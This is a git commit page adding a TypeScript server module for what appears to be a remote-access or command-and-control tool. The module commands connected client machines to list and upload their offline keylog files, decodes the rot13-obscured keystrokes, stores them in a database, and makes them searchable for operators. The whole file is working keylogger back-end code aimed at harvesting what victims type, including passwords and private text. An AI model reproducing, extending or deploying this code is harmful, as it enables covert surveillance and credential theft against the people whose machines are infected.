fix some tele links, add offline keylogger, fix rbac issues with scripting.
This commit is contained in:
@@ -0,0 +1,268 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { db } from "../db/connection";
|
||||
import { getConfig } from "../config";
|
||||
import { logger } from "../logger";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import type { SocketData } from "../sessions/types";
|
||||
import { canUserAccessClient, getUsersWithInputArchiveEnabled } from "../users";
|
||||
|
||||
type KeylogFileMeta = {
|
||||
name: string;
|
||||
size: number;
|
||||
date: string;
|
||||
modifiedAt: number | null;
|
||||
};
|
||||
|
||||
const pendingFileMeta = new Map<string, Map<string, KeylogFileMeta>>();
|
||||
const MAX_RETRIEVES_PER_LIST = 25;
|
||||
|
||||
function rot13(str: string): string {
|
||||
return String(str || "").replace(/[a-zA-Z]/g, (char) => {
|
||||
const start = char <= "Z" ? 65 : 97;
|
||||
return String.fromCharCode(((char.charCodeAt(0) - start + 13) % 26) + start);
|
||||
});
|
||||
}
|
||||
|
||||
function normalizeMeta(file: any): KeylogFileMeta | null {
|
||||
const name = typeof file?.name === "string" ? file.name.trim() : "";
|
||||
if (!name || name.includes("/") || name.includes("\\")) return null;
|
||||
const size = Math.max(0, Math.floor(Number(file?.size) || 0));
|
||||
const date = typeof file?.date === "string" ? file.date : "";
|
||||
const parsed = date ? Date.parse(date) : NaN;
|
||||
return {
|
||||
name,
|
||||
size,
|
||||
date,
|
||||
modifiedAt: Number.isFinite(parsed) ? parsed : null,
|
||||
};
|
||||
}
|
||||
|
||||
function getPendingMeta(clientId: string, filename: string): KeylogFileMeta | null {
|
||||
return pendingFileMeta.get(clientId)?.get(filename) ?? null;
|
||||
}
|
||||
|
||||
function shouldArchiveForClient(clientId: string): boolean {
|
||||
const config = getConfig().inputArchive;
|
||||
if (!config?.enabled) return false;
|
||||
const users = getUsersWithInputArchiveEnabled();
|
||||
return users.some((user) => canUserAccessClient(user.id, user.role, clientId));
|
||||
}
|
||||
|
||||
function buildFtsQuery(query: string): string {
|
||||
return query
|
||||
.trim()
|
||||
.split(/\s+/)
|
||||
.map((term) => term.replace(/"/g, "").trim())
|
||||
.filter((term) => term.length >= 2)
|
||||
.map((term) => `"${term}"*`)
|
||||
.join(" ");
|
||||
}
|
||||
|
||||
function rebuildArchiveFts(row: { id: number; client_id: string; filename: string; content: string }): void {
|
||||
try {
|
||||
db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?").run(row.id);
|
||||
db.prepare(
|
||||
`INSERT INTO keylog_archive_fts(rowid, file_id, client_id, filename, content)
|
||||
VALUES (?, ?, ?, ?, ?)`,
|
||||
).run(row.id, row.id, row.client_id, row.filename, row.content);
|
||||
} catch (err) {
|
||||
logger.warn(`[keylog-archive] failed to update FTS for ${row.client_id}/${row.filename}: ${(err as Error).message}`);
|
||||
}
|
||||
}
|
||||
|
||||
export function archiveKeylogContent(clientId: string, filename: string, encodedContent: string, meta?: KeylogFileMeta | null): void {
|
||||
if (!shouldArchiveForClient(clientId)) return;
|
||||
const safeMeta = meta ?? getPendingMeta(clientId, filename);
|
||||
const decoded = rot13(String(encodedContent || ""));
|
||||
const now = Date.now();
|
||||
const size = safeMeta?.size ?? encodedContent.length;
|
||||
const modifiedAt = safeMeta?.modifiedAt ?? null;
|
||||
|
||||
db.prepare(
|
||||
`INSERT INTO keylog_archive_files(client_id, filename, size, modified_at, retrieved_at, content)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(client_id, filename) DO UPDATE SET
|
||||
size = excluded.size,
|
||||
modified_at = excluded.modified_at,
|
||||
retrieved_at = excluded.retrieved_at,
|
||||
content = excluded.content`,
|
||||
).run(clientId, filename, size, modifiedAt, now, decoded);
|
||||
|
||||
const row = db
|
||||
.prepare("SELECT id, client_id, filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
|
||||
.get(clientId, filename) as { id: number; client_id: string; filename: string; content: string } | undefined;
|
||||
if (row) rebuildArchiveFts(row);
|
||||
pendingFileMeta.get(clientId)?.delete(filename);
|
||||
}
|
||||
|
||||
export function handleKeylogArchiveMessage(clientId: string, payload: any, ws?: ServerWebSocket<SocketData>): void {
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
if (!shouldArchiveForClient(clientId)) return;
|
||||
|
||||
if (payload.type === "keylog_file_list") {
|
||||
const files = Array.isArray(payload.files) ? payload.files.map(normalizeMeta).filter(Boolean) as KeylogFileMeta[] : [];
|
||||
if (files.length === 0 || !ws) return;
|
||||
|
||||
const maxFileBytes = getConfig().inputArchive.maxFileBytes;
|
||||
const existingRows = db
|
||||
.prepare("SELECT filename, size, modified_at as modifiedAt FROM keylog_archive_files WHERE client_id = ?")
|
||||
.all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null }>;
|
||||
const existing = new Map(existingRows.map((row) => [row.filename, row]));
|
||||
let pending = pendingFileMeta.get(clientId);
|
||||
if (!pending) {
|
||||
pending = new Map();
|
||||
pendingFileMeta.set(clientId, pending);
|
||||
}
|
||||
|
||||
let requested = 0;
|
||||
for (const file of files) {
|
||||
if (file.size > maxFileBytes) continue;
|
||||
const old = existing.get(file.name);
|
||||
const changed = !old || old.size !== file.size || (file.modifiedAt !== null && old.modifiedAt !== file.modifiedAt);
|
||||
if (!changed || requested >= MAX_RETRIEVES_PER_LIST) continue;
|
||||
pending.set(file.name, file);
|
||||
try {
|
||||
ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "keylog_retrieve",
|
||||
id: crypto.randomUUID(),
|
||||
payload: { filename: file.name },
|
||||
} as any));
|
||||
requested++;
|
||||
} catch (err) {
|
||||
logger.warn(`[keylog-archive] failed to request ${clientId}/${file.name}: ${(err as Error).message}`);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (payload.type === "keylog_file_content" && typeof payload.filename === "string") {
|
||||
archiveKeylogContent(clientId, payload.filename, String(payload.content || ""));
|
||||
}
|
||||
}
|
||||
|
||||
export function dispatchKeylogArchiveSync(clientId: string, ws: ServerWebSocket<SocketData>): boolean {
|
||||
if (!shouldArchiveForClient(clientId)) return false;
|
||||
try {
|
||||
ws.send(encodeMessage({
|
||||
type: "command",
|
||||
commandType: "keylog_list",
|
||||
id: crypto.randomUUID(),
|
||||
} as any));
|
||||
return true;
|
||||
} catch (err) {
|
||||
logger.warn(`[keylog-archive] failed to request file list for ${clientId}: ${(err as Error).message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function listArchivedKeylogs(clientId: string): Array<{ name: string; size: number; date: string; archived: true; retrievedAt: number }> {
|
||||
const rows = db
|
||||
.prepare(
|
||||
`SELECT filename, size, modified_at as modifiedAt, retrieved_at as retrievedAt
|
||||
FROM keylog_archive_files
|
||||
WHERE client_id = ?
|
||||
ORDER BY COALESCE(modified_at, retrieved_at) DESC, filename ASC`,
|
||||
)
|
||||
.all(clientId) as Array<{ filename: string; size: number; modifiedAt: number | null; retrievedAt: number }>;
|
||||
|
||||
return rows.map((row) => ({
|
||||
name: row.filename,
|
||||
size: row.size,
|
||||
date: new Date(row.modifiedAt || row.retrievedAt).toISOString(),
|
||||
archived: true,
|
||||
retrievedAt: row.retrievedAt,
|
||||
}));
|
||||
}
|
||||
|
||||
export function getArchivedKeylogContent(clientId: string, filename: string): { filename: string; content: string; archived: true } | null {
|
||||
const row = db
|
||||
.prepare("SELECT filename, content FROM keylog_archive_files WHERE client_id = ? AND filename = ?")
|
||||
.get(clientId, filename) as { filename: string; content: string } | undefined;
|
||||
if (!row) return null;
|
||||
return { filename: row.filename, content: rot13(row.content), archived: true };
|
||||
}
|
||||
|
||||
export function searchArchivedKeylogs(clientId: string, query: string): Array<{ file: string; date: string; matches: Array<{ index: number; context: string; line: number }> }> {
|
||||
const trimmed = query.trim();
|
||||
if (trimmed.length < 3) return [];
|
||||
|
||||
const ftsQuery = buildFtsQuery(trimmed);
|
||||
let rows: Array<{ filename: string; content: string; modifiedAt: number | null; retrievedAt: number }> = [];
|
||||
if (ftsQuery) {
|
||||
try {
|
||||
rows = db
|
||||
.prepare(
|
||||
`SELECT f.filename, f.content, f.modified_at as modifiedAt, f.retrieved_at as retrievedAt
|
||||
FROM keylog_archive_fts
|
||||
JOIN keylog_archive_files f ON f.id = keylog_archive_fts.file_id
|
||||
WHERE keylog_archive_fts.client_id = ? AND keylog_archive_fts MATCH ?
|
||||
ORDER BY COALESCE(f.modified_at, f.retrieved_at) DESC
|
||||
LIMIT 100`,
|
||||
)
|
||||
.all(clientId, ftsQuery) as any[];
|
||||
} catch {
|
||||
rows = [];
|
||||
}
|
||||
}
|
||||
|
||||
if (rows.length === 0) {
|
||||
rows = db
|
||||
.prepare(
|
||||
`SELECT filename, content, modified_at as modifiedAt, retrieved_at as retrievedAt
|
||||
FROM keylog_archive_files
|
||||
WHERE client_id = ? AND lower(content) LIKE ?
|
||||
ORDER BY COALESCE(modified_at, retrieved_at) DESC
|
||||
LIMIT 100`,
|
||||
)
|
||||
.all(clientId, `%${trimmed.toLowerCase()}%`) as any[];
|
||||
}
|
||||
|
||||
const lowerQuery = trimmed.toLowerCase();
|
||||
return rows
|
||||
.map((row) => {
|
||||
const content = String(row.content || "");
|
||||
const lowerContent = content.toLowerCase();
|
||||
const matches: Array<{ index: number; context: string; line: number }> = [];
|
||||
let index = 0;
|
||||
while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1 && matches.length < 25) {
|
||||
const start = Math.max(0, index - 50);
|
||||
const end = Math.min(content.length, index + trimmed.length + 50);
|
||||
let context = content.substring(start, end);
|
||||
if (start > 0) context = `...${context}`;
|
||||
if (end < content.length) context = `${context}...`;
|
||||
matches.push({
|
||||
index,
|
||||
context,
|
||||
line: content.substring(0, index).split("\n").length,
|
||||
});
|
||||
index += trimmed.length;
|
||||
}
|
||||
return {
|
||||
file: row.filename,
|
||||
date: new Date(row.modifiedAt || row.retrievedAt).toISOString(),
|
||||
matches,
|
||||
};
|
||||
})
|
||||
.filter((result) => result.matches.length > 0);
|
||||
}
|
||||
|
||||
export function pruneExpiredKeylogArchive(): number {
|
||||
const retentionDays = getConfig().inputArchive?.retentionDays ?? 7;
|
||||
const cutoff = Date.now() - retentionDays * 24 * 60 * 60 * 1000;
|
||||
const ids = db
|
||||
.prepare("SELECT id FROM keylog_archive_files WHERE retrieved_at < ? LIMIT 5000")
|
||||
.all(cutoff) as Array<{ id: number }>;
|
||||
if (ids.length === 0) return 0;
|
||||
|
||||
const deleteFts = db.prepare("DELETE FROM keylog_archive_fts WHERE rowid = ?");
|
||||
const deleteFile = db.prepare("DELETE FROM keylog_archive_files WHERE id = ?");
|
||||
const tx = db.transaction((rows: Array<{ id: number }>) => {
|
||||
for (const row of rows) {
|
||||
deleteFts.run(row.id);
|
||||
deleteFile.run(row.id);
|
||||
}
|
||||
});
|
||||
tx(ids);
|
||||
return ids.length;
|
||||
}
|
||||
Reference in New Issue
Block a user